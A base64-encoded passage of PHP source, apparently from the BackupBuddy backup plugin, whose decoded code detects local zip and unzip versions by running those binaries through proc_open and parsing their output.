kZXIgdGhhdCB3ZSBjb3VsZCB1c2UgdW56aXAgLVogLXYgb24gdGhpcyBmaWxlIGFuZCBwYXJzZSB0aGUKCQkJCQkvLyBvdXRwdXQgZm9yIHRoZSBDZW50cmFsIERpciBpbmZvIG9uIHdoYXQgdmVyc2lvbiBvZiB6aXAgY3JlYXRlZCB0aGUgZmlsZS4KCQkJCQkvLyBDdXJyZW50bHksIHdoZXJlIHRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkLCB3ZSBkb24ndCBrbm93IGlmIHdlIGhhdmUgdW56aXAKCQkJCQkvLyBzbyB3ZSBjYW4ndCBhc3N1bWUgLSB3aXRoIGEgcmVqaWcgd2UgY291bGQgY2FsbCB0aGlzIGxhdGVyIGFuZCB1c2UgdW56aXAKCQkJCQkvLyBpZiBhdmFpbGFibGUuCgkJCQkJLy8gQ2FuJ3QgdGVsbCB3aGljaCAyLlggdmVyc2lvbiwgY2Fubm90IHBvcHVsYXRlICRpbmZvCgkJCQkJJG1ham9yID0gMjsKCQkJCQkkbWlub3IgPSAwOwoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIERvZXNuJ3QgYXBwZWFyIHRvIGJlIGEgemlwIGZpbGUgc28gc2hvdWxkIGJlIHZlcnNpb24gaW5mbwoJCQkJCS8vIEV4cGVjdCBmb3JtYXQgbGlrZTogVGhpcyBpcyBaaXAgMy4wIChKdWx5IDV0aCAyMDA4KS4uLgoJCQkJCS8vICAgICAgICAgICAgICAgICAgICAgVGhpcyBpcyBaaXAgMy4xYyBCRVRBIChKdW5lIDIybmQgMjAxMCkuLi4KCQkJCQkvLyBUaGUgbWF0Y2ggc2hvdWxkIHRha2Ugb25seSB0aGUgbWFqb3IvbWlub3IgZGlnaXRzIGFuZCBpZ25vcmUgYW55IGZvbGxvd2luZyBhbHBoYQoJCQkJCS8vIE1heSBleHRlbmQgdG8gY2FwdHVyZSB0aGUgYWxwaGEgYW5kIGFsc28gd2hldGhlciBCRVRBIGluZGljYXRlZCBidXQgbm90IGN1cnJlbnRseQoJCQkJCS8vIHJlcXVpcmVkLgoJCQkJCWZvcmVhY2ggKCAkb3V0cHV0IGFzICRsaW5lICkgewoJCgkJCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHRoaXMpXHMrKGlzKVxzKyh6aXApXHMrKD9QPG1ham9yPlxkKVwuKD9QPG1pbm9yPlxkKykvaScsICRsaW5lLCAkbWF0Y2hlcyApICkgewoJCQkJCQkKCQkJCQkJCSRtYWpvciA9IChpbnQpJG1hdGNoZXNbICdtYWpvcicgXTsKCQkJCQkJCSRtaW5vciA9IChpbnQpJG1hdGNoZXNbICdtaW5vcicgXTsKCQkJCQkJCWJyZWFrOwoJCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQkvLyBJZiB3ZSBkaWRuJ3QgbWF0Y2ggYSB2ZXJzaW9uIHRoZW4gc3VzcGVjdCB0aGlzIGlzIHN0aWxsIG5vdCB2YWxpZCB2ZXJzaW9uIGluZm8KCQkJCQlpZiAoICFlbXB0eSggJG1hdGNoZXMgKSApIHsKCQkJCQkKCQkJCQkJLy8gTm93IGNyZWF0ZSB0aGUgaW5mbyBzdHJpbmcKCQkJCQkJLy8gTm90ZTogbm90IHdvcnRoIGNvbXByZXNzaW5nIGFzIHRoYXQgZ2l2ZXMgYSBsYXJnZXIgc3RyaW5nIGFmdGVyIGNvbnZlcnRpbmcKCQkJCQkJLy8gZnJvbSBiaW5hcnkgdG8gaGV4IGZvcm1hdCBmb3Igc2F2aW5nCgkJCQkJCSRpbmZvID0gaW1wbG9kZSggUEhQX0VPTCwgJG91dHB1dCApOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICdpbmZvJyBdID0gJGluZm87CgkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9CgkJCQkKCQkJfQoJCQkKCQkJLy8gTm93IHVzZSBlaXRoZXIgd2hhdCB3ZSBnb3Qgb3Igd2hhdCB3ZSB3ZXJlIGdpdmVuLi4uCgkJCWlmICggKCBpc19pbnQoICRtYWpvcikgKSAmJiAoIDAgPCAkbWFqb3IgKSAmJiAoIGlzX2ludCggJG1pbm9yICkgKSApIHsKCQkJCgkJCQkvLyBTZXQgdGhlIGdpdmVuIHZlcnNpb24gcmVnYXJkbGVzcwoJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAndmVyc2lvbicgXSA9IGFycmF5KCAnbWFqb3InID0+ICRtYWpvciwgJ21pbm9yJyA9PiAkbWlub3IgKTsKCQkJCgkJCX0KCQkJCgkJCS8vIENhdGNoLWFsbCBjbGVhbnVwIG9mIHRoZSBvdXRwdXQgZmlsZQoJCQlpZiAoIEBmaWxlX2V4aXN0cyggJG91dGZpbGVfbmFtZSApICkgewoJCQkKCQkJCUB1bmxpbmsoICRvdXRmaWxlX25hbWUgKTsKCQkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHRoaXM7IAoJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfemlwX3ZlcnNpb24oKQoJCSAqCQoJCSAqCVRoaXMgZ2V0cyB0aGUgemlwIHZlcnNpb24gYXMgYW4gYXJyYXkgb2YgbWFqb3IvbWlub3Igb3IgcmV0dXJucyBmYWxzZSBpZiBub3Qga25vd24KCQkgKglUT0RPOiBQYXNzIHBhcmFtZXRlciB0byBzcGVjaWZ5IHdoYXQgZm9ybWF0IHRvIHJldHVybiBpbgoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5fGJvb2wJCQkJUmV0dXJucyBhcnJheShtYWpvciwgbWlub3IpIG9yIGZhbHNlIGlmIG5vdCBrbm93bgoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF96aXBfdmVyc2lvbigpIHsKCQkKCQkJJHJlc3VsdCA9ICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3ppcCcgXVsgJ3ZlcnNpb24nIF07CgkJCQoJCQlpZiAoIDAgPT09ICRyZXN1bHRbICdtYWpvcicgXSApIHsKCQkJCgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglzZXRfdW56aXBfdmVyc2lvbigpCgkJICoJCgkJICoJVGhpcyBzZXRzIHRoZSB6aXAgdmVyc2lvbiBpbmZvcm1hdGlvbiBpbiB0aGUgbWV0aG9kIGRldGFpbHMKCQkgKglUT0RPOiBUaGlzIG5lZWRzIHJlZmFjdG9yaW5nIHRvIG1ha2UgaXQgY2xlYW5lcgoJCSAqCQoJCSAqCUBwYXJhbQkJaW50CQkkbWFqb3IJCVZhbHVlIHRvIHVzZSBpZiBub25lIGZvdW5kIG9yIG92ZXJyaWRlIHRydWUKCQkgKglAcGFyYW0JCWludAkJJG1pbm9yCQlWYWx1ZSB0byB1c2UgaWYgbm9uZSBmb3VuZCBvciBvdmVycmlkZSB0cnVlCgkJICoJQHBhcmFtCQlib29sCSRvdmVycmlkZQlUcnVlIHRvIHVzZSBwYXNzZWQgaW4gdmFsdWUocykgcmVnYXJkbGVzcwoJCSAqCUByZXR1cm4JCW9iamVjdAkJCQlUaGlzIG9iamVjdCByZWZlcmVuY2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBzZXRfdW56aXBfdmVyc2lvbiggJG1ham9yID0gMCwgJG1pbm9yID0gMCwgJG92ZXJyaWRlID0gZmFsc2UgKSB7CgkJCgkJCSRleGl0Y29kZSA9IDEyNzsKCQkJJG91dHB1dCA9IGFycmF5KCk7CgkJCSR6aXBwYXRoID0gJyc7CgkJCSRjb21tYW5kID0gJyc7CgkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJJGluZm8gPSAnJzsKCQkKCQkJLy8gSWYgd2UgaGF2ZSBiZWVuIGdpdmVuIGEgdmFsdWUgdG8gdXNlIHdpdGggb3ZlcnJpZGUgdGhlbiBqdXN0IHVzZSBpdAoJCQlpZiAoICggKCBpc19pbnQoICRtYWpvcikgKSAmJiAoIDAgPCAkbWFqb3IgKSAmJiAoIGlzX2ludCggJG1pbm9yICkgKSApICYmICggdHJ1ZSA9PT0gJG92ZXJyaWRlICkgKSB7CgkJCQoJCQkJLy8gU2V0IHRoZSBnaXZlbiB2ZXJzaW9uIHJlZ2FyZGxlc3MKCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3VuemlwJyBdWyAndmVyc2lvbicgXSA9IGFycmF5KCAnbWFqb3InID0+ICRtYWpvciwgJ21pbm9yJyA9PiAkbWlub3IgKTsKCQkJCXJldHVybiAkdGhpczsgCgkJCQoJCQl9CgkJCQoJCQkvLyBHZXQgdGhlIGNvbW1hbmQgcGF0aCBmb3IgdGhlIHVuemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9VTlpJUF9QQVRIICk7CgkJCQoJCQkvLyBBZGQgdGhlIHRyYWlsaW5nIHNsYXNoIGlmIHJlcXVpcmVkCgkJCSRjb21tYW5kID0gJHRoaXMtPnNsYXNoaWZ5KCAkemlwcGF0aCApIC4gJ3VuemlwIC12JzsKCQkJCgkJCS8vQGV4ZWMoICRjb21tYW5kLCAkb3V0cHV0LCAkZXhpdGNvZGUgKTsKCQkJCgkJCS8vIEdldCBhIHRlbXBvcmFyeSBmaWxlIHRvIHVzZSBmb3IgY29tbWFuZCBvdXRwdXQKCQkJJG91dGZpbGVfbmFtZSA9IHRlbXBuYW0oIHN5c19nZXRfdGVtcF9kaXIoKSwgdW5pcWlkKCAncGJfJyApICk7CgkJCQoJCQkvLyBNYWtlIHN1cmUgd2Ugb25seSBkbyB0aGlzIGlmIHdlIGhhdmUgYSBmaWxlIHdlIGNhbiB3cml0ZSB0bwoJCQlpZiAoIGlzX3N0cmluZyggJG91dGZpbGVfbmFtZSApICYmIGlzX3dyaXRhYmxlKCAkb3V0ZmlsZV9uYW1lICkgKSB7IAoJCQkKCQkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAoJCQkJCTAgPT4gYXJyYXkoICJwaXBlIiwgInIiICksCgkJCQkJMSA9PiBhcnJheSggImZpbGUiLCAkb3V0ZmlsZV9uYW1lLCAidyIgKSwKCQkJCQkyID0+IGFycmF5KCAiZmlsZSIsICIvZGV2L251bGwiLCAiYSIgKQkKCQkJCSk7CgkJCQkKCQkJCSRwcm9jZXNzID0gTlVMTDsgLy8gTWF5YmUgaXQgZG9lc24ndCB3b3JrCgkJCQkKCQkJCSRwcm9jZXNzID0gQHByb2Nfb3BlbiggJGNvbW1hbmQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzICk7CgkJCQkKCQkJCWlmICggaXNfcmVzb3VyY2UoICRwcm9jZXNzICkgKSB7CgkJCQkKCQkJCQlmY2xvc2UoICRwaXBlc1swXSApOyAvLyBOZXZlciB3YW50IHRvIHNlbmQgaW5wdXQgc28ganVzdCBjbG9zZSBpdAoJCQkJCQoJCQkJCSRwc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCQoJCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvbmx5IGRvIDQgbG9vcCBtYXgKCQkJCQkkY291bnQgPSAwOwoJCQkJCQoJCQkJCXdoaWxlICggdHJ1ZSA9PSAkcHN0YXR1c1sgJ3J1bm5pbmcnXSAmJiAoICRjb3VudCsrIDwgNCApICkgewoJCQkJCQl1c2xlZXAoIDUwMDAwMCApOwoJCQkJCQkkcHN0YXR1cyA9IHByb2NfZ2V0X3N0YXR1cyggJHByb2Nlc3MgKTsKCQkJCQl9CgkJCQkJCgkJCQkJaWYgKCB0cnVlID09PSAkcHN0YXR1c1sgJ3J1bm5pbmcnIF0gKSB7CgkJCQkJCS8vIEhtbSwgc2hvdWxkbid0IHN0aWxsIGJlIHJ1bm5pbmcsIHRyeSB0byBraWxsIGl0IGFuZCBtb3ZlIG9uCgkJCQkJCUBwcm9jX3Rlcm1pbmF0ZSggJHByb2Nlc3MgKTsKCQkJCQkJCgkJCQkJCS8vIEdldCBzdGF0dXMgYWdhaW4gYW5kIHNlZSBpZiBub3cgbm90IHJ1bm5pbmcsIGlmIHNvIGdldCBleGl0IGNvZGUKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gUHJvY2VzcyBmaW5pc2hlZCBub3JtYWxseSBzbyBnZXQgZXhpdCBjb2RlIGZvciBwb3NzaWJsZSB1c2UKCQkJCQkJJGV4aXRjb2RlID0gJHBzdGF0dXNbICdleGl0Y29kZScgXTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCS8vIElnbm9yZSBhbnkgY2xvc2UgaXNzdWUsIHNob3VsZG4ndCBnZXQgc3R1Y2sgaGVyZSBidXQgaXQgaXMgcG9zc2libGUgaWYKCQkJCQkvLyB3ZSBwcm9jZXNzIHdhcyBzdGlsbCBydW5uaW5nIGFuZCB3ZSBmYWlsZWQgdG8gdGVybWluYXRlIGl0IC0gdHJpY2t5IG9uZQoJCQkJCS8vIHRvIG92ZXJjb21lIGJ1dCBfc2hvdWxkXyBiZSByYXJlCgkJCQkJQHByb2NfY2xvc2UoICRwcm9jZXNzICk7CgkJCQkJCgkJCQl9CgkJCQkKCQkJfQoJCQkKCQkJLy8gTm90ZTogaWYgd2UgY291bGRuJ3QgY3JlYXRlIGEgcHJvY2VzcyBqdXN0IGZhbGwgdGhyb3VnaCBzaWxlbnRseQoJCQkKCQkJaWYgKCAwID09PSAkZXhpdGNvZGUgKSB7CgkJCQoJCQkJLy8gUHV0IHRoZSBmaWxlIGNvbnRlbnQgaW50byBhbiBhcnJheQoJCQkJdHJ5IHsKCQkJCQoJCQkJCSRvdXRmaWxlID0gbmV3IFNwbEZpbGVPYmplY3QoICRvdXRmaWxlX25hbWUsICJyYiIgKTsKCQkJCQkKCQkJCQl3aGlsZSggISRvdXRmaWxlLT5lb2YoKSApIHsKCQkJCQkKCQkJCQkJLy8gTmVlZCB0byB0cmltIGxpbmUgZW5kaW5ncyBiZWNhdXNlIG9mIGltcGxvZGluZyB3aXRoIFBIUF9FT0wgbGF0ZXIKCQkJCQkJJG91dHB1dFtdID0gcnRyaW0oICRvdXRmaWxlLT5jdXJyZW50KCkgKTsKCQkJCQkJJG91dGZpbGUtPm5leHQoKTsKCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJdW5zZXQoICRvdXRmaWxlICk7CgkJCQkJCgkJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkJCgkJCQkJLy8gTWF5YmUgdGhlIGZpbGUgZGlkbid0IGV4aXN0IGZvciBzb21lIHJlYXNvbj8KCQkJCQkvLyBJbiBhbnkgY2FzZSBqdXN0IGZhbGwgdGhyb3VnaCBzaWxlbnRseQoJCQkJCQoJCQkJfQoJCQkKCQkJCS8vIFNob3VsZCBiZSBnb29kIG91dHB1dCB0byB0cnkgYXQgbGVhc3QKCQkJCWZvcmVhY2ggKCAkb3V0cHV0IGFzICRsaW5lICkgewoKCQkJCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKih1bnppcClccysoP1A8bWFqb3I+XGQpXC4oP1A8bWlub3I+XGQrKS9pJywgJGxpbmUsICRtYXRjaGVzICkgKSB7CgkJCQkJCgkJCQkJCSRtYWpvciA9IChpbnQpJG1hdGNoZXNbICdtYWpvcicgXTsKCQkJCQkJJG1pbm9yID0gKGludCkkbWF0Y2hlc1sgJ21pbm9yJyBdOwoJCQkJCQlicmVhazsKCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gTm93IGNyZWF0ZSB0aGUgaW5mbyBzdHJpbmcKCQkJCS8vIE5vdGU6IG5vdCB3b3J0aCBjb21wcmVzc2luZyBhcyB0aGF0IGdpdmVzIGEgbGFyZ2VyIHN0cmluZyBhZnRlciBjb252ZXJ0aW5nCgkJCQkvLyBmcm9tIGJpbmFyeSB0byBoZXggZm9ybWF0IGZvciBzYXZpbmcKCQkJCSRpbmZvID0gaW1wbG9kZSggUEhQX0VPTCwgJG91dHB1dCApOwoJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICdpbmZvJyBdID0gJGluZm87CgkJCQkKCQkJfQoJCQkKCQkJLy8gTm93IHVzZSBlaXRoZXIgd2hhdCB3ZSBnb3Qgb3Igd2hhdCB3ZSB3ZXJlIGdpdmVuLi4uCgkJCWlmICggKCBpc19pbnQoICRtYWpvcikgKSAmJiAoIDAgPCAkbWFqb3IgKSAmJiAoIGlzX2ludCggJG1pbm9yICkgKSApIHsKCQkJCgkJCQkvLyBTZXQgdGhlIGdpdmVuIHZlcnNpb24gcmVnYXJkbGVzcwoJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICd2ZXJzaW9uJyBdID0gYXJyYXkoICdtYWpvcicgPT4gJG1ham9yLCAnbWlub3InID0+ICRtaW5vciApOwoJCQkKCQkJfQoJCQkKCQkJLy8gQ2F0Y2gtYWxsIGNsZWFudXAgb2YgdGhlIG91dHB1dCBmaWxlCgkJCWlmICggQGZpbGVfZXhpc3RzKCAkb3V0ZmlsZV9uYW1lICkgKSB7CgkJCQoJCQkJQHVubGluayggJG91dGZpbGVfbmFtZSApOwoJCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkdGhpczsgCgkJCgkJfQoJCQoJCS8qKgoJCSAqCWdldF91bnppcF92ZXJzaW9uKCkKCQkgKgkKCQkgKglUaGlzIGdldHMgdGhlIHVuemlwIHZlcnNpb24gYXMgYW4gYXJyYXkgb2YgbWFqb3IvbWlub3Igb3IgcmV0dXJucyBmYWxzZSBpZiBub3Qga25vd24KCQkgKglUT0RPOiBQYXNzIHBhcmFtZXRlciB0byBzcGVjaWZ5IHdoYXQgZm9ybWF0IHRvIHJldHVybiBpbgoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5fGJvb2wJCQkJUmV0dXJucyBhcnJheShtYWpvciwgbWlub3IpIG9yIGZhbHNlIGlmIG5vdCBrbm93bgoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF91bnppcF92ZXJzaW9uKCkgewoJCQoJCQkkcmVzdWx0ID0gJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICd2ZXJzaW9uJyBdOwoJCQkKCQkJaWYgKCAwID09PSAkcmVzdWx0WyAnbWFqb3InIF0gKSB7CgkJCQoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJZ2V0X3ppcF9zdXBwb3J0c19sb2dmaWxlKCkKCQkgKgkKCQkgKglUaGlzIHJldHVybnMgdHJ1ZSBpZiB0aGUgemlwIGluIHVzZSBpcyBhYmxlIHRvIHN1cHBvcnQgbG9nZmlsZSB1c2FnZSBmb3IKCQkgKglsb2dnaW5nIHByb2dyZXNzIG9mIHppcCBvcGVyYXRpb24KCQkgKgkKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgbG9nZmlsZSBzdXBwb3J0ZWQsIG90aGVyd2lzZSBmYWxzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF96aXBfc3VwcG9ydHNfbG9nX2ZpbGUoKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCgkJCS8vIEN1cnJlbnRseSBjaGVjayBiYXNlZCBqdXN0IG9uIHRoZSB6aXAgbWFqb3IgdmVyc2lvbgoJCQkvLyBUT0RPOiBkZWNpZGUgaWYgYmV0dGVyIHRvIHJlc3BvbmQgYmFzZWQgb24gdGhlIGF2YWlsYWJsZSBvcHRpb25zCgkJCWlmICggMyA8PSAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICd2ZXJzaW9uJyBdWyAnbWFqb3InIF0gKSB7CgkJCQoJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCgkJfQoJCQoJCS8qKgoJCSAqCWlzX2F2YWlsYWJsZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCgkJICogIE5vdGU6IGluIHRoaXMgY2FzZSBhcyB0aGUgemlwIGFuZCB1bnppcCBjYXBhYmlsaXRpZXMgYXJlIHByb3ZpZGVkIGJ5IGV4dGVybmFsIGNvbW1hbmRzIHdlIG5lZWQgdG8gdGVzdAoJCSAqICBmb3IgdGhlIGF2YWlsYWJpbGl0eSBvZiBib3RoIG9mIHRoZW0gYW5kIHNldCBhdHRyaWJ1dGVzIGFjY29yZGluZ2x5CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJVGVtcG9yYXJ5IGRpcmVjdG9yeSB0byB1c2UgZm9yIGFueSB0ZXN0IGZpbGVzIChtdXN0IGJlIHdyaXRlYWJsZSkKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgdGhlIG1ldGhvZCBpcyBhdmFpbGFibGUgZm9yIGF0IGxlYXN0IG9uZSBtb2RlLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBpc19hdmFpbGFibGUoICR0ZW1wZGlyICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5pc19hdmFpbGFibGVfbGludXgoICR0ZW1wZGlyICk7CgkJCQkJYnJlYWs7CgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCSRyZXN1bHQgPSAkdGhpcy0+aXNfYXZhaWxhYmxlX3dpbmRvd3MoICR0ZW1wZGlyICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJICAJCgkJfQoKCQkvKioKCQkgKglpc19hdmFpbGFibGVfd2luZG93cygpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCVRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gdXNlIGZvciBhbnkgdGVzdCBmaWxlcyAobXVzdCBiZSB3cml0ZWFibGUpCgkJICoJQHJldHVybgkJYm9vbAkJCQlUcnVlIGlmIHRoZSBtZXRob2QgaXMgYXZhaWxhYmxlIGZvciBhdCBsZWFzdCBvbmUgbW9kZSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gaXNfYXZhaWxhYmxlX3dpbmRvd3MoICR0ZW1wZGlyICkgewoJCQoJCQkvLyBKdXN0IHJldHVybiBmYWxzZSBzaWxlbnRseSBvdGhlcndpc2Ugd2UnZCBiZSBsb2dnaW5nIHJlcGVhdGVkbHkuLi4KCQkJLy9wYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICR0aGlzLT5fbWV0aG9kX3RhZyAuIF9fKCcgbWV0aG9kIG5vdCBzdXBwb3J0ZWQgb24gV2luZG93cy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWlzX2F2YWlsYWJsZV9saW51eCgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCVRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gdXNlIGZvciBhbnkgdGVzdCBmaWxlcyAobXVzdCBiZSB3cml0ZWFibGUpCgkJICoJQHJldHVybgkJYm9vbAkJCQlUcnVlIGlmIHRoZSBtZXRob2QgaXMgYXZhaWxhYmxlIGZvciBhdCBsZWFzdCBvbmUgbW9kZSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gaXNfYXZhaWxhYmxlX2xpbnV4KCAkdGVtcGRpciApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkcGVuZGluZ19yZXN1bHQgPSBmYWxzZTsKCQkJJGZvdW5kX3ppcCA9IGZhbHNlOwoJCQkkcHN0YXR1cyA9IGFycmF5KCk7CgkJCQoJCQkvLyBUaGlzIGlzIGEgc2FmZXR5IHZhbHVlIGluIGNhc2Ugc29tZXRoaW5nIG9kZCBoYXBwZW5zCgkJCSRleGVjX2V4aXRfY29kZSA9IDEyNzsKCQkJCgkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAncHJvY19vcGVuJyApICYmIGZ1bmN0aW9uX2V4aXN0cyggJ3Byb2NfY2xvc2UnICkgJiYKCQkJCSBmdW5jdGlvbl9leGlzdHMoICdwcm9jX2dldF9zdGF0dXMnICkgJiYgZnVuY3Rpb25fZXhpc3RzKCAncHJvY190ZXJtaW5hdGUnICkgKSB7CgkJCQkgCgkJCQkkY2FuZGlkYXRlX3BhdGhzID0gJHRoaXMtPl9leGVjdXRhYmxlX3BhdGhzOwoJCQkJCgkJCQkvLyBXZSBhcmUgc2VhcmNoaW5nIGZvciB6aXAgdXNpbmcgdGhlIGxpc3Qgb2YgcG9zc2libGUgcGF0aHMKCQkJCXdoaWxlICggKCBmYWxzZSA9PSAkZm91bmRfemlwICkgJiYgKCAhZW1wdHkoICRjYW5kaWRhdGVfcGF0aHMgKSApICkgewoJCQkJCgkJCQkJLy8gTWFrZSBzdXJlIGl0IGlzIGNsZWFuIG9mIGxlYWRpbmcvdHJhaWxpbmcgd2hpdGVzcGFjZQoJCQkJCSRwYXRoID0gdHJpbSggYXJyYXlfc2hpZnQoICRjYW5kaWRhdGVfcGF0aHMgKSApOwoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdUcnlpbmcgZXhlY3V0YWJsZSBwYXRoIGZvciB6aXAgcHJvYzonLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyBgJyAuICRwYXRoIC4gJ2AuJyApOwoKCQkJCQkkdGVzdF9maWxlID0gJHRlbXBkaXIgLiAndGVtcF90ZXN0XycgLiB1bmlxaWQoKSAuICcuemlwJzsKCQkJCQkKCQkJCQkkY29tbWFuZCA9ICdleGVjICcgLiAkdGhpcy0+c2xhc2hpZnkoICRwYXRoICkgLiAnemlwICInIC4gJHRlc3RfZmlsZSAuICciICInIC4gX19GSUxFX18gLiAnIic7CgkKCQkJCQkkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgKCQkJCQkJMCA9PiBhcnJheSggInBpcGUiLCAiciIgKSwKCQkJCQkJMSA9PiBhcnJheSggImZpbGUiLCAiL2Rldi9udWxsIiwgImEiICksCgkJCQkJCTIgPT